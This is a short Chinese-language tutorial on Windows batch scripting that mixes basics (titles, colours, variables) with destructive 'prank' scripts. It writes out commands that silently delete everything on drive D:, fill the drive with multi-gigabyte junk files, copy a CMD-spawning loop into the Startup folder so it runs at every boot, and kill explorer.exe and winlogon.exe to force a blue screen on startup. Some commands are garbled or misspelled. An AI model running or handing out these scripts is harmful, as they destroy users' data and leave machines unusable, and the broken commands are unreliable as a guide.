脚本批处理,成批处理命令。
# 批处理编写
自上而下成批处理每一条命令,直到执行最后一条,中间出错会报错,但会向下执行命令。
# 批处理创建
创建记事本,将.txt 改为.bat
在右键.bat,编辑,在里面加入 DOS 命令
@echo off// 放在.bat文件的开头,表示关闭回写,屏蔽执行过程 |
可以看到命令窗口的标题 C:\WINDOWS\system.., 极其丑陋且笨比,改掉!
tltel hacked by Lx1A0ql5 //改变原来的命令窗口标题 |
color 0a //改变命令窗口颜色 0是背景色黑色,a是字体颜色,绿色 |
ping -n 10 127.0.0.1 >nul 2>nul //在IP篇中讲过,直接说 >nul指的是不显示过程,相当于制造停留 |
# 脚本(
如下操作,杀死 D
d: >nul 2>nul | |
cd \ >nul 2>nul | |
rd ./s/q >nul 2>nul | |
该操作直接格式化D盘,且无任何提示。 |
撑死 D
d: | |
cd \ | |
fsutil file createnew d:\sys1.ini 4096000000 //在D根目录下创建文件 | |
fsutil file createnew d:\sys2.ini 4096000000 | |
fsutil file createnew d:\sys3.ini 4096000000 | |
fsutil file createnew d:\sys4.ini 4096000000 | |
fsutil file createnew d:\sys5.ini 4096000000 | |
fsutil file createnew d:\sys6.ini 4096000000 | |
fsutil file createnew d:\sys7.ini 4096000000 | |
可配合dos操作,让创立的文件隐藏,更狠 |
命令块
:1 | |
//命令 | |
:2 | |
//命令 | |
:3 | |
//命令 |
利用命令块造蓝屏
实际是利用循环打开 CMD,把 CPU 挤爆了
copy xx.bat C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup | |
//以win11为例,其他系统的开始目录自寻,将我们的.bat拷贝到开机目录实现开机自启 | |
1: | |
start //start后不跟内容,就是单纯打开一个cmd窗口,后可以跟路径打开其他东西 | |
goto 1 //返回命令块1,开始折磨了,循环 | |
//"%userprofile%\Start Menu\Programs\Startup"和第一行效果一样,把路径改成变量。 |
taskkill
taskkill /im explorer.exe /f //强制终止程序 |
在 WIN2003 中
copy xx.bat C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 | |
nstd -c -q -pn winlogon.exe//强制杀死windows登录进程,因为已经登录会产生崩坏,导致蓝屏,加上上句话,开机蓝屏 |
# 批处理写自用
变量的应用
set /p a= //定义一个变量a,其值等待用户输入 | |
if %a%==1 //引用变量用%% |
# 提醒
尽量在虚拟机中做,真实机容易去世。